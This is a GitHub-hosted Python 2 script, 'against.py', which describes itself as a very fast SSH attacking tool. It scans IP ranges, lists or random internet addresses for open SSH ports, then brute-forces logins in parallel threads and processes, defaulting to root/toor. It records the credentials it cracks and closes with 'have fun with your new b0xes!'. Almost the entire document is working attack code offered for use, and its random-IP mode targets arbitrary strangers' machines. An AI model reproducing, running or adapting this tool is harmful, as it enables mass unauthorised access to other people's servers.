-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathagainst.py
355 lines (311 loc) · 11.6 KB
/
against.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
#!/usr/bin/env python
# -*- coding: latin-1 -*- ######################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# against.py - mass scanning and brute-forcing script for ssh #
# #
# FILE #
# against.py #
# #
# DATE #
# 2013-06-25 #
# #
# DESCRIPTION #
# 'against.py' is a very fast ssh attacking script which includes a #
# multithreaded port scanning module (tcp connect) for discovering possible #
# targets and a multithreaded brute-forcing module which attacks #
# parallel (multiprocessing) all discovered hosts or given ip-adresses #
# from a list. #
# #
# AUTHOR #
# pigtail23 aka pgt #
# #
################################################################################
from socket import *
import multiprocessing
import threading
import time
import paramiko
import sys
import os
import logging
import argparse
import random
# print our nice banner ;)
def banner():
print '--==[ against.py by [email protected] ]==--'
# print version
def version():
print '[+] against.py v0.1'
exit(0)
# checks if we can write to file which was given by parameter -o
def test_file(filename):
try:
outfile = open(filename, 'a')
outfile.close()
except:
print '[-] ERROR: Cannot write to file \'%s\'' % filename
exit(1)
# defines the command line parameter and help page
def argspage():
parser = argparse.ArgumentParser(
usage='\n\n ./%(prog)s -i <arg> | -r <arg> | -I <arg>',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=
'examples:\n\n' \
' scanning and attacking random ips\n' \
' usage: ./%(prog)s -r 50 -L password.txt\n\n' \
' scanning and attacking an ip-range\n' \
' usage: ./%(prog)s -i 192.168.0.1-254 -u admin -l troll\n\n' \
' attack ips from file\n' \
' usage: ./%(prog)s -I ips.txt -L passwords.txt\n',
add_help=False
)
options = parser.add_argument_group('options', '')
options.add_argument('-i', default=False, metavar='<ip/range>',
help='ip-address/-range (e.g.: 192.168.0-3.1-254)')
options.add_argument('-I', default=False, metavar='<file>',
help='list of target ip-addresses')
options.add_argument('-r', default=False, metavar='<num>',
help='attack random hosts')
options.add_argument('-p', default=22, metavar='<num>',
help='port number of sshd (default: 22)')
options.add_argument('-t', default=4, metavar='<num>',
help='threads per host (default: 4)')
options.add_argument('-f', default=8, metavar='<num>',
help='attack max hosts parallel (default: 8)')
options.add_argument('-u', default='root', metavar='<username>',
help='single username (default: root)')
options.add_argument('-U', default=False, metavar='<file>',
help='list of usernames')
options.add_argument('-l', default='toor', metavar='<password>',
help='single password (default: toor)')
options.add_argument('-L', default=False, metavar='<file>',
help='list of passwords')
options.add_argument('-o', default=False, metavar='<file>',
help='write found logins to file')
options.add_argument('-T', default=3, metavar='<sec>',
help='timeout in seconds (default: 3)')
options.add_argument('-V', action='store_true',
help='print version of against.py and exit')
args = parser.parse_args()
if args.V:
version()
if (args.i == False) and (args.I == False) and (args.r == False):
print ''
parser.print_help()
exit(0)
return args
# connect to target and checks for an open port
def scan(target, port, timeout):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(timeout)
result = s.connect_ex((target, port))
s.close()
if result == 0:
HOSTLIST.append(target)
# creates 'x' numbers of threads and call scan()
def thread_scan(args, target):
port = int(args.p)
to = float(args.T)
bam = threading.Thread(target=scan, args=(target, port, to,))
bam.start()
# scanning with up to 200 threads for targets with open port
while threading.activeCount() > 200:
time.sleep(0.0001)
time.sleep(0.0001)
# only the output when scanning for targets
def scan_output(i):
sys.stdout.flush()
sys.stdout.write('\r[*] hosts scanned: {0} | ' \
'possible to attack: {1}'.format(i, len(HOSTLIST)))
# creates single ips by a given ip-range - parameter -i
def ip_range(args):
targets = args.i
a = tuple(part for part in targets.split('.'))
rsa = (range(4))
rsb = (range(4))
for i in range(0,4):
ga = a[i].find('-')
if ga != -1:
rsa[i] = int(a[i][:ga])
rsb[i] = int(a[i][1+ga:]) + 1
else:
rsa[i] = int(a[i])
rsb[i] = int(a[i]) + 1
print '[*] scanning %s for ssh services' % targets
m = 0
for i in range (rsa[0], rsb[0]):
for j in range (rsa[1], rsb[1]):
for k in range (rsa[2], rsb[2]):
for l in range(rsa[3], rsb[3]):
target = '%d.%d.%d.%d' % (i, j, k, l)
m += 1
scan_output(m)
thread_scan(args, target)
# waiting for the last running threads
while threading.activeCount() > 1:
time.sleep(0.1)
scan_output(m)
print '\n[*] finished scan.'
# only refactor stuff
def rand():
return random.randrange(0,256)
# creates random ips
def rand_ip(args):
i = 0
print '[*] scanning random ips for ssh services'
while len(HOSTLIST) < int(args.r):
target = '%d.%d.%d.%d' % (rand(), rand(), rand(), rand())
i += 1
scan_output(i)
thread_scan(args, target)
# waiting for the last running threads
while threading.activeCount() > 1:
time.sleep(0.1)
scan_output(i)
print '\n[*] finished scan.'
# checks if given filename by parameter exists
def file_exists(filename):
try:
open(filename).readlines()
except IOError:
print '[-] ERROR: cannot open file \'%s\'' % filename
exit(1)
# read-in a file with ips
def ip_list(ipfile):
file_exists(ipfile)
hosts = open(ipfile).readlines()
for host in hosts:
HOSTLIST.append(host)
# write all found logins to file - parameter -o
def write_logins(filename, login):
outfile = open(filename, 'a')
outfile.write(login)
outfile.close()
# connect to target and try to login
def crack(target, prt, user, passw, outfile, to, i):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
user = user.replace('\n', '')
passw = passw.replace('\n', '')
try:
ssh.connect(target, port=prt, username=user, password=passw, timeout=to)
#ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command('uname -a')
#print ssh_stdout
login = '[+] login found for %s | %s:%s' % (target, user, passw)
print login
if outfile:
write_logins(outfile, login + '\n')
ssh.close()
os._exit(0)
except paramiko.AuthenticationException:
ssh.close()
except:
ssh.close()
# after 8 timeouts per request the attack against $target will stopped
if i < 8:
i += 1
# reconnect after random seconds (between 0.2 and 0.5 sec)
ra = random.uniform(0.2, 0.6)
time.sleep(ra)
crack(target, prt, user, passw, outfile, to, i)
else:
print '[-] too much timeouts - stopped attack against %s' % (target)
os._exit(1)
# creates 'x' number of threads and call crack()
def thread_it(target, args):
port = int(args.p)
user = args.u
userlist = args.U
password = args.l
passlist = args.L
outfile = args.o
to = float(args.T)
threads = int(args.t)
if userlist:
user = open(userlist).readlines()
else:
user = [ user ]
if passlist:
password = open(passlist).readlines()
else:
password = [ password ]
# looks dirty but we need it :/
try:
for us in user:
for pw in password:
Run = threading.Thread(target=crack, args=(target, port, us, pw,
outfile, to, 0,))
Run.start()
# checks that we a max number of threads
while threading.activeCount() > threads:
time.sleep(0.01)
time.sleep(0.001)
# waiting for the last running threads
while threading.activeCount() > 1:
time.sleep(0.1)
except KeyboardInterrupt:
os._exit(1)
# create 'x' child processes (child == cracking routine for only one target)
def fork_it(args):
threads = int(args.t)
childs = int(args.f)
len_hosts = len(HOSTLIST)
print '[*] attacking %d target(s)\n' \
'[*] cracking up to %d hosts parallel\n' \
'[*] threads per host: %d' % (len_hosts, childs, threads)
i = 1
for host in HOSTLIST:
host = host.replace('\n', '')
print '[*] performing attacks against %s [%d/%d]' % (host, i, len_hosts)
hostfork = multiprocessing.Process(target=thread_it,
args=(host, args))
hostfork.start()
# checks that we have a max number of childs
while len(multiprocessing.active_children()) >= childs:
time.sleep(0.001)
time.sleep(0.001)
i += 1
# waiting for the last running childs
while multiprocessing.active_children():
time.sleep(1)
def empty_hostlist():
if len(HOSTLIST) == 0:
print '[-] found no targets to attack!'
exit(1)
# output when against.py finished all routines
def finished():
print '[*] game over!!! have fun with your new b0xes!'
def main():
banner()
args = argspage()
if args.U:
file_exists(args.U)
if args.L:
file_exists(args.L)
if args.o:
test_file(args.o)
if args.i:
ip_range(args)
elif args.I:
ip_list(args.I)
else:
rand_ip(args)
time.sleep(0.1)
empty_hostlist()
fork_it(args)
finished()
if __name__ == '__main__':
HOSTLIST = []
try:
logging.disable(logging.CRITICAL)
main()
except KeyboardInterrupt:
print '\nbye bye!!!'
time.sleep(0.2)
os._exit(1)